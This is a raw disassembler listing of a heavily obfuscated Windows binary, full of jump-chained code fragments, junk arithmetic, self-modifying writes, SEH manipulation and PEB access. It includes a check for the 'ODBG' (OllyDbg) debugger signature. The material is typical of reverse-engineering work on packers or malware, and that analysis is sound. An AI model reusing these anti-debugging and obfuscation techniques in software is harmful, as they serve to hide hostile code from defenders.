					; wto1jq8f:0042F211p
		mov	[esp+38h+var_38], edi
		pop	edi
		mov	edx, [edx]
		push	edx
		push	eax
		jmp	loc_42FAFC
; ---------------------------------------------------------------------------


loc_426FA3:				; CODE XREF: sub_4245D6:loc_4243FBj
		jz	loc_42B9C1
		jmp	loc_428B13
; ---------------------------------------------------------------------------


loc_426FAE:				; CODE XREF: sub_4282FE-2377j
		push	eax
		push	4
		push	28h
		call	sub_424556


loc_426FB8:				; CODE XREF: sub_42E9E8-5510j
		jmp	loc_42EB23
; ---------------------------------------------------------------------------
		and	ecx, ebp
		push	ebp
		jmp	sub_427E50
; ---------------------------------------------------------------------------


loc_426FC5:				; CODE XREF: sub_426E98+Cj
		mov	[ebp-1], al
		cmp	byte ptr [ebp-1], 0
		call	sub_42433B


loc_426FD1:				; CODE XREF: sub_4245D6+5F39j
		jmp	nullsub_14
sub_426E98	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_426FD6	proc near		; DATA XREF: sub_42C379+4o

; FUNCTION CHUNK AT 00425F26 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00429781 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042EDF6 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042FF5D SIZE 00000005 BYTES

		add	[esi], eax
		xor	[esi], ebx
		add	[esi], ecx
		xor	[esi], edx
		push	0CC79495Ah
		pop	eax
		or	eax, 764BEA4Ch
		jnz	loc_429781
sub_426FD6	endp

; START	OF FUNCTION CHUNK FOR sub_42D877


loc_426FF0:				; CODE XREF: sub_42D877+6j
		jmp	nullsub_203
; END OF FUNCTION CHUNK	FOR sub_42D877
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_426FF5:				; CODE XREF: sub_426535+253j
		jmp	sub_424585
; ---------------------------------------------------------------------------


loc_426FFA:				; CODE XREF: sub_426535-21FFj
		cdq


loc_426FFB:				; CODE XREF: sub_426535:loc_42F2F9j
		lea	eax, [ebp-25Ch]
		cmp	dword ptr [eax], 4742444Fh
		jz	loc_4265DB
		jmp	loc_429A4A
; END OF FUNCTION CHUNK	FOR sub_426535
; ---------------------------------------------------------------------------
		mov	esi, 0F30CFD90h
		jmp	loc_426C0A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429308


loc_42701C:				; CODE XREF: sub_429308:loc_424533j
		xor	edi, 6B410B1Eh
		sub	edi, 472FB9A0h
		add	edi, 5384D08h
		xchg	edi, [esp+0]
		jmp	sub_42A56D
; END OF FUNCTION CHUNK	FOR sub_429308
; ---------------------------------------------------------------------------

locret_427036:				; CODE XREF: wto1jq8f:loc_427A13j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D9B0


loc_427037:				; CODE XREF: sub_42D9B0+1B20j
		jmp	loc_429628
; END OF FUNCTION CHUNK	FOR sub_42D9B0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E350


loc_42703C:				; CODE XREF: sub_42E350+13j
		jmp	loc_42B3E2
; END OF FUNCTION CHUNK	FOR sub_42E350
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424BD4


loc_427041:				; CODE XREF: sub_424BD4+1B95j
		jmp	loc_42AC2F
; END OF FUNCTION CHUNK	FOR sub_424BD4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425944


loc_427046:				; CODE XREF: sub_425944:loc_428FBCj
		mov	[edi], eax
		pop	edi
		jmp	nullsub_146
; END OF FUNCTION CHUNK	FOR sub_425944

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42704E	proc near		; CODE XREF: sub_4287D0+4j

; FUNCTION CHUNK AT 0042791B SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0042B105 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_42791B
sub_42704E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42ED21


loc_427057:				; CODE XREF: sub_42ED21:loc_425981j
		pop	ebx
		mov	ebp, offset loc_428B27
		xchg	ebp, [esp-4+arg_0]
		retn
; END OF FUNCTION CHUNK	FOR sub_42ED21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427DA7


loc_427061:				; CODE XREF: sub_427DA7+Cj
		sub	eax, 0C17A267Ch
		adc	ebx, 70DF8F90h
		adc	ecx, edx
		jmp	loc_42A57D
; END OF FUNCTION CHUNK	FOR sub_427DA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4282FE


loc_427074:				; CODE XREF: sub_4282FE:loc_426DFCj
		jz	loc_42F5A8
		jmp	loc_427F6C
; END OF FUNCTION CHUNK	FOR sub_4282FE

; =============== S U B	R O U T	I N E =======================================



sub_42707F	proc near		; CODE XREF: wto1jq8f:0042C40Aj
					; sub_42CB36:loc_42EB9Ep
		xchg	eax, [esp+0]
		pop	eax
		xor	eax, eax
		retn
sub_42707F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_427086:				; CODE XREF: wto1jq8f:0042A078j
		jmp	loc_42BCEE

; =============== S U B	R O U T	I N E =======================================



sub_42708B	proc near		; CODE XREF: sub_42BC9B+9p
					; sub_42CED1+7p

; FUNCTION CHUNK AT 00424AC8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00429293 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00429A94 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D302 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042EBA3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F319 SIZE 0000000D BYTES

		call	sub_42CB36
		jmp	loc_42EBA3
sub_42708B	endp

; ---------------------------------------------------------------------------
		push	edi
		jmp	sub_42C93C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4266B1


loc_42709B:				; CODE XREF: sub_4266B1+14j
		jnz	loc_42ABA0
		jmp	loc_42B1FF
; END OF FUNCTION CHUNK	FOR sub_4266B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DA92


loc_4270A6:				; CODE XREF: sub_42DA92:loc_4277F5j
		push	2DCE763Dh
		mov	[esp+4+var_4], ecx
		mov	esp, ebp
		pop	ebp
		push	0E6E479ADh
		push	offset loc_42B804
		jmp	loc_42E796
; END OF FUNCTION CHUNK	FOR sub_42DA92

; =============== S U B	R O U T	I N E =======================================



sub_4270C0	proc near		; DATA XREF: sub_42903A+Ao
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0E8h
		call	sub_424232


loc_4270CB:				; CODE XREF: wto1jq8f:0042C838j
		jmp	nullsub_133
sub_4270C0	endp

; ---------------------------------------------------------------------------
		mov	edi, 3D20CE5Ch
		not	esi
		jmp	sub_426A84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA68


loc_4270DC:				; CODE XREF: sub_42AA68-6895j
		jnb	sub_42D2BB
		jmp	loc_42AE7C
; END OF FUNCTION CHUNK	FOR sub_42AA68
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_80. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		jnb	loc_42A01D
		jmp	sub_42CF00
; ---------------------------------------------------------------------------


loc_4270F3:				; CODE XREF: wto1jq8f:00429CF0j
		test	al, al
		jz	loc_42EB19
		call	sub_427106
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B276


loc_427101:				; CODE XREF: sub_42B276-4FEFj
		jmp	loc_429D43
; END OF FUNCTION CHUNK	FOR sub_42B276

; =============== S U B	R O U T	I N E =======================================



sub_427106	proc near		; CODE XREF: wto1jq8f:004270FBp

; FUNCTION CHUNK AT 00428D22 SIZE 00000005 BYTES

		push	edx
		jmp	loc_428D22
sub_427106	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_42710C:				; CODE XREF: sub_426535:loc_42FB48j
		lea	eax, [ebp-25Ch]
		cmp	dword ptr [eax], 4742444Fh
		jz	loc_4265DB
		jmp	loc_42E518
; END OF FUNCTION CHUNK	FOR sub_426535
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AECE


loc_427123:				; CODE XREF: sub_42AECE-6AAFj
		xchg	ecx, esi


loc_427125:				; CODE XREF: sub_42AECE:loc_42CC86j
		push	eax
		push	6B19D23Fh
		pop	eax
		and	eax, 0BA55BF64h
		rol	eax, 0Dh
		add	eax, 0CDFE6111h
		jmp	loc_42824F
; END OF FUNCTION CHUNK	FOR sub_42AECE
; ---------------------------------------------------------------------------


loc_427140:				; CODE XREF: wto1jq8f:00425DCFj
		rol	ecx, 5

; =============== S U B	R O U T	I N E =======================================



sub_427143	proc near		; CODE XREF: sub_428D47+Bp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00425F61 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 004261EE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004292F0 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00429B95 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042A474 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AC78 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042B895 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042B964 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042BCCA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042CA74 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042D7CE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E7AB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042EE1C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042FB71 SIZE 0000000D BYTES

		mov	[esp+0], edx
		pop	edx
		xor	edx, 2BDA06F9h
		jmp	loc_42B895
sub_427143	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_191. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_427153:				; CODE XREF: wto1jq8f:00427B85j
		jmp	loc_428605
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4240DC


loc_427158:				; CODE XREF: sub_4240DC:loc_42C2CDj
		push	0
		push	157A3537h
		and	eax, 0B33DB1E3h
		jmp	loc_425A7E
; END OF FUNCTION CHUNK	FOR sub_4240DC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42716A	proc near		; CODE XREF: sub_42DFE5+6j

; FUNCTION CHUNK AT 0042E46E SIZE 00000015 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		pop	ebp
		jmp	loc_42E46E
sub_42716A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425C40


loc_427176:				; CODE XREF: sub_425C40:loc_42A712j
		call	sub_424585
		push	0F43661AAh
		pop	edx
; END OF FUNCTION CHUNK	FOR sub_425C40
; START	OF FUNCTION CHUNK FOR sub_42C486


loc_427181:				; CODE XREF: sub_42C486:loc_4240C3j
		sub	edx, 0CAD7D954h
		and	edx, 6C7B51FBh
		jmp	loc_42DB1A
; END OF FUNCTION CHUNK	FOR sub_42C486
; ---------------------------------------------------------------------------


loc_427192:				; CODE XREF: wto1jq8f:00428C07j
		or	ecx, 0FF4190BCh

; =============== S U B	R O U T	I N E =======================================



sub_427198	proc near		; CODE XREF: wto1jq8f:0042BE27p
		mov	[esp+0], ebx
		pop	ebx
		add	ecx, 0F64B9EA8h
		mov	[ecx], eax
		pop	ecx
		jmp	sub_429A99
sub_427198	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42506F


loc_4271AA:				; CODE XREF: sub_42506F:loc_42FCBCj
		lea	eax, [ebp-800h]
		push	eax
		call	sub_42FA6E
		test	eax, eax
		jz	loc_42896C
		lea	eax, [ebp-800h]
		xchg	eax, ebp
		push	ecx
		jmp	loc_42D7E8
; END OF FUNCTION CHUNK	FOR sub_42506F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_40. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_4271CD:				; CODE XREF: wto1jq8f:0042A251j
		jmp	locret_42AC6C
; ---------------------------------------------------------------------------


loc_4271D2:				; CODE XREF: wto1jq8f:00429DADj
		jmp	loc_425B73
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428F61


loc_4271D7:				; CODE XREF: sub_428F61+1Aj
		jmp	loc_42F881
; END OF FUNCTION CHUNK	FOR sub_428F61
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428AE5


loc_4271DC:				; CODE XREF: sub_428AE5+10j
		jmp	loc_425C23
; END OF FUNCTION CHUNK	FOR sub_428AE5
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_168. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_4271E2:				; CODE XREF: wto1jq8f:0042F3B1j
		jmp	loc_428625
; ---------------------------------------------------------------------------


loc_4271E7:				; CODE XREF: wto1jq8f:004278FFj
		jmp	loc_42A5B3
; ---------------------------------------------------------------------------


loc_4271EC:				; CODE XREF: wto1jq8f:loc_42D16Cj
		rol	edx, 1Ch
		jmp	loc_427E99
; ---------------------------------------------------------------------------


loc_4271F4:				; DATA XREF: wto1jq8f:004290EEo
		add	esi, ebp
; START	OF FUNCTION CHUNK FOR sub_426313


loc_4271F6:				; CODE XREF: sub_426313:loc_42B096j
		add	esi, 41919723h
		mov	[esi], eax
		call	sub_42FA0F
; END OF FUNCTION CHUNK	FOR sub_426313

; =============== S U B	R O U T	I N E =======================================



sub_427203	proc near		; CODE XREF: sub_429BFF-4C06p
					; wto1jq8f:00425A16j
		mov	[esp+0], esi
		pop	esi
		mov	eax, [eax+0Ch]
		lea	edx, [eax+20h]
		mov	dword ptr [edx], 2000h
		jmp	nullsub_15
sub_427203	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_427218	proc near		; CODE XREF: sub_42604C+1p
					; wto1jq8f:00427F34j

; FUNCTION CHUNK AT 0042C0D2 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	[ebp-8], eax
		push	offset loc_429D02
		jmp	loc_42C0D2
sub_427218	endp

; ---------------------------------------------------------------------------
		pushf
		jmp	loc_4269FA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429B76


loc_42723A:				; CODE XREF: sub_429B76+402j
		and	esi, 2809CE4h
		and	ebx, 1E6143B7h


loc_427246:				; CODE XREF: sub_429B76:loc_42ED3Cj
		call	sub_4263B3
		retn
; END OF FUNCTION CHUNK	FOR sub_429B76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D434


loc_42724C:				; CODE XREF: sub_42D434-6DA6j
		jmp	loc_42EFF5
; END OF FUNCTION CHUNK	FOR sub_42D434
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427E50


loc_427251:				; CODE XREF: sub_427E50:loc_427E65j
		push	1000C59Ch
		pop	edi
		and	edi, 7B4DD47Ch
		xor	edi, 5CB60144h
		add	edi, 0B38C37FFh
		xchg	edi, [esp+4+var_4]
		jmp	loc_42B975
; END OF FUNCTION CHUNK	FOR sub_427E50
; ---------------------------------------------------------------------------


loc_427271:				; CODE XREF: wto1jq8f:00425B57j
		jz	loc_42996F

; =============== S U B	R O U T	I N E =======================================



sub_427277	proc near		; CODE XREF: sub_42F6A9-5588p

arg_0		= dword	ptr  4

		xchg	edi, [esp+0]
		pop	edi
		xchg	ecx, [esp-4+arg_0]
		retn
sub_427277	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42727F	proc near		; DATA XREF: sub_42F6A9-558Do

; FUNCTION CHUNK AT 00426663 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00426E10 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00427499 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004285EB SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00428B47 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042DB7B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042EAB0 SIZE 00000005 BYTES

		xor	ecx, 476DCEB0h
		jmp	loc_428B47
sub_42727F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_42728A:				; CODE XREF: sub_426535:loc_42E518j
		jnz	loc_42C172
		jmp	loc_42FD52
; END OF FUNCTION CHUNK	FOR sub_426535
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B8FC


loc_427295:				; CODE XREF: sub_42B8FC-4552j
		xchg	edx, [esp+0]
		jmp	sub_424585
; END OF FUNCTION CHUNK	FOR sub_42B8FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F25F


loc_42729D:				; CODE XREF: sub_42F25F:loc_42AACFj
		mov	eax, [eax]
		add	eax, [ebp-4]
		call	sub_42FC85
		cmp	eax, [ebp-8]
		jnz	loc_42FC74
		call	sub_42E961
; END OF FUNCTION CHUNK	FOR sub_42F25F

; =============== S U B	R O U T	I N E =======================================



sub_4272B5	proc near		; CODE XREF: sub_428AC6:loc_42A773p
					; wto1jq8f:0042F497j
		xchg	eax, [esp+0]
		pop	eax
		add	eax, 0DD17433Bh
		mov	eax, [eax]
		push	offset sub_42FBC7
		jmp	nullsub_167
sub_4272B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4272CB	proc near		; CODE XREF: wto1jq8f:loc_42C2F7p
					; wto1jq8f:0042D042j
		mov	[esp+0], eax
		pop	eax
		call	sub_42ED32
		call	sub_42FE77


loc_4272D9:				; CODE XREF: wto1jq8f:0042A689j
		jmp	$+5
sub_4272CB	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_4245B5


loc_4272DE:				; CODE XREF: sub_428333-367Fj
					; sub_428333+36Ej ...
		pop	large dword ptr	fs:0
		add	esp, 4
; END OF FUNCTION CHUNK	FOR sub_4245B5
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_73. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E04D


loc_4272E9:				; CODE XREF: sub_42E04D+1EA0j
		jmp	sub_424585
; END OF FUNCTION CHUNK	FOR sub_42E04D
; ---------------------------------------------------------------------------


loc_4272EE:				; CODE XREF: wto1jq8f:0042A8AEj
		jmp	loc_42A432

; =============== S U B	R O U T	I N E =======================================



sub_4272F3	proc near		; CODE XREF: sub_42F3E7:loc_42B79Fp
					; sub_42F3E7+6p

; FUNCTION CHUNK AT 00425A1B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00425FDE SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00426985 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00426D77 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042980B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042A15B SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042A409 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0042AB13 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AF73 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B22E SIZE 0000000D BYTES

		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	eax, large fs:30h
		push	edx
		jmp	loc_42A409
sub_4272F3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42730E:				; DATA XREF: sub_42F25F-9A4o
		jo	loc_428610
		add	eax, [esp]
		adc	edx, [esp+4]
		add	esp, 8
		push	offset loc_427B6C
		jmp	loc_42ACF4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A467


loc_427328:				; CODE XREF: sub_42A467+6j
		or	eax, eax
		jnz	loc_428D0B
		jmp	loc_425A6C
; END OF FUNCTION CHUNK	FOR sub_42A467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42750A


loc_427335:				; CODE XREF: sub_42750A+7F1j
		add	ebx, eax
		jmp	sub_426842
; END OF FUNCTION CHUNK	FOR sub_42750A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D9FC


loc_42733C:				; CODE XREF: sub_42D9FC-663Cj
		adc	esi, edx
		test	edi, 6921EF9Dh
		jmp	loc_42EB65
; END OF FUNCTION CHUNK	FOR sub_42D9FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DCB4


loc_427349:				; CODE XREF: sub_42DCB4-1EA3j
		or	ecx, ecx
		jz	loc_425FD1
		mov	ecx, [ebx+ecx+0Ch]
		or	ecx, ecx
		call	sub_42DCB4


loc_42735C:				; CODE XREF: sub_425C0D+11j
		jmp	sub_42F15D
; END OF FUNCTION CHUNK	FOR sub_42DCB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_427361:				; CODE XREF: sub_42E9E8-43A0j
		jz	loc_42D5F4
		not	edx
		jmp	loc_426A19
; END OF FUNCTION CHUNK	FOR sub_42E9E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A985


loc_42736E:				; CODE XREF: sub_42A985+1j
		pop	ebp
		jmp	loc_42FB60
; END OF FUNCTION CHUNK	FOR sub_42A985
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebp
		mov	ebp, ecx
		xchg	ebp, [esp]
		push	ebx
		jmp	loc_42A097
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426968


loc_427383:				; CODE XREF: sub_426968:loc_42C538j
		jnz	loc_42ED27
		mov	eax, [ebp-4]
		push	offset sub_42649C
		jmp	nullsub_66
; END OF FUNCTION CHUNK	FOR sub_426968
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429B76


loc_427396:				; CODE XREF: sub_429B76+5C68j
		cmp	esi, ebp
		jmp	loc_427B95
; END OF FUNCTION CHUNK	FOR sub_429B76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B8FC


loc_42739D:				; CODE XREF: sub_42B8FC:loc_426B88j
					; sub_42B8FC+2C7Ej
		push	edx
		push	4ABB4BBh
		pop	edx
		add	edx, 0FB96CF65h
		jmp	loc_427295
; END OF FUNCTION CHUNK	FOR sub_42B8FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425F4F


loc_4273AF:				; CODE XREF: sub_425F4F:loc_42CF4Bj
		jnz	loc_429638
		jmp	loc_42E744
; END OF FUNCTION CHUNK	FOR sub_425F4F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D9FC


loc_4273BA:				; CODE XREF: sub_42D9FC:loc_42D9CEj
		jz	loc_424668
		jmp	loc_42733C
; END OF FUNCTION CHUNK	FOR sub_42D9FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E0FD


loc_4273C5:				; CODE XREF: sub_42E0FD:loc_427F61j
		jz	loc_42B3FB
		jmp	loc_42EE7A
; END OF FUNCTION CHUNK	FOR sub_42E0FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4242F8


loc_4273D0:				; CODE XREF: sub_4242F8+6j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax-8], 80h
		jmp	loc_42EA1C
; END OF FUNCTION CHUNK	FOR sub_4242F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4262F5


loc_4273E5:				; CODE XREF: sub_4262F5+3A34j
		cmp	esi, ebx
		jmp	loc_42475C
; END OF FUNCTION CHUNK	FOR sub_4262F5
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_203. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F987


loc_4273ED:				; CODE XREF: sub_42F987+Fj
		jmp	loc_42A6A0
; END OF FUNCTION CHUNK	FOR sub_42F987
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424ADA


loc_4273F2:				; CODE XREF: sub_424ADA+35ADj
		jmp	loc_42DDDC
; END OF FUNCTION CHUNK	FOR sub_424ADA

; =============== S U B	R O U T	I N E =======================================



sub_4273F7	proc near		; DATA XREF: sub_42A467:loc_4247A2o

; FUNCTION CHUNK AT 00429977 SIZE 00000005 BYTES

		call	sub_424585
		push	offset loc_42C829
		jmp	loc_429977
sub_4273F7	endp

; ---------------------------------------------------------------------------
		xor	eax, 0CE7DA004h
		jmp	sub_42FBB5
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427A30


loc_427412:				; CODE XREF: sub_427A30+74B2j
		jmp	sub_42D322
; END OF FUNCTION CHUNK	FOR sub_427A30
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A909


loc_427417:				; CODE XREF: sub_42A909:loc_424473j
		call	sub_42CB36
		call	sub_42D22D
; END OF FUNCTION CHUNK	FOR sub_42A909
; START	OF FUNCTION CHUNK FOR sub_42A88D


loc_427421:				; CODE XREF: sub_42A88D-3110j
		jmp	loc_428B1A
; END OF FUNCTION CHUNK	FOR sub_42A88D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4276C3


loc_427426:				; CODE XREF: sub_4276C3+Fj
		jmp	loc_4278A0
; END OF FUNCTION CHUNK	FOR sub_4276C3
; ---------------------------------------------------------------------------


loc_42742B:				; CODE XREF: wto1jq8f:00429BCCj
		add	eax, 449CAFE2h
		add	eax, ebp
		add	eax, 725FDDE2h
		mov	eax, [eax]
		push	eax
		push	esi
		push	694CC74Bh
		jmp	loc_42F180
; ---------------------------------------------------------------------------


loc_427447:				; DATA XREF: wto1jq8f:0042AB96o
		add	[esi], ebx
		xor	[esi], edx
		jmp	loc_426035

; =============== S U B	R O U T	I N E =======================================



sub_427450	proc near		; CODE XREF: sub_42A3EB+6p
					; sub_42DB52+4p
		mov	eax, 0D678B7ADh
		retn
sub_427450	endp

; ---------------------------------------------------------------------------


loc_427456:				; CODE XREF: wto1jq8f:0042681Cj
		jmp	loc_42ED81
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_43. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428F61


loc_42745C:				; CODE XREF: sub_428F61+6B42j
		call	sub_42970D
		call	sub_429706
; END OF FUNCTION CHUNK	FOR sub_428F61
; START	OF FUNCTION CHUNK FOR sub_42C423


loc_427466:				; CODE XREF: sub_42C423+13j
		jmp	loc_42E44A
; END OF FUNCTION CHUNK	FOR sub_42C423
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A6CD


loc_42746B:				; CODE XREF: sub_42A6CD-484Fj
		mov	eax, [eax]
		pushf
		push	0AB7A4096h
		pop	edx
		rol	edx, 1Eh
		xor	edx, 57C3F39h
		add	edx, 17724FC0h
		jmp	loc_426E06
; END OF FUNCTION CHUNK	FOR sub_42A6CD

; =============== S U B	R O U T	I N E =======================================



sub_427488	proc near		; CODE XREF: sub_42D9FC:loc_424668p
					; wto1jq8f:00429F69j
		xchg	edi, [esp+0]
		pop	edi
		xor	eax, eax
		mov	[ebp-0Ch], eax
		lea	eax, [ebp-70h]
		jmp	loc_425BF8
sub_427488	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42727F


loc_427499:				; CODE XREF: sub_42727F+18D4j
		jl	loc_4285EB


loc_42749F:				; CODE XREF: wto1jq8f:0042EDF1j
		jmp	sub_4242D6
; END OF FUNCTION CHUNK	FOR sub_42727F
; ---------------------------------------------------------------------------
		shl	esi, 0Bh
		popf
		jmp	loc_4285E4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_195. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42ED01


loc_4274AE:				; CODE XREF: sub_42ED01-350Bj
		jmp	loc_428FE8
; END OF FUNCTION CHUNK	FOR sub_42ED01
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BB58


loc_4274B3:				; CODE XREF: sub_42BB58-195Bj
		jmp	sub_428183
; END OF FUNCTION CHUNK	FOR sub_42BB58
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4245FF


loc_4274B8:				; CODE XREF: sub_4245FF+13j
		jmp	sub_429165
; END OF FUNCTION CHUNK	FOR sub_4245FF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_89. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_4274BE	proc near		; CODE XREF: sub_427D82-367p
		push	offset loc_42C52F
		jmp	nullsub_19
sub_4274BE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D120


loc_4274C8:				; CODE XREF: sub_42D120-1803j
		or	ecx, esi
		cdq
		and	ecx, edx
		mov	ebx, eax
		and	ecx, edx
		jmp	loc_42D28E
; END OF FUNCTION CHUNK	FOR sub_42D120
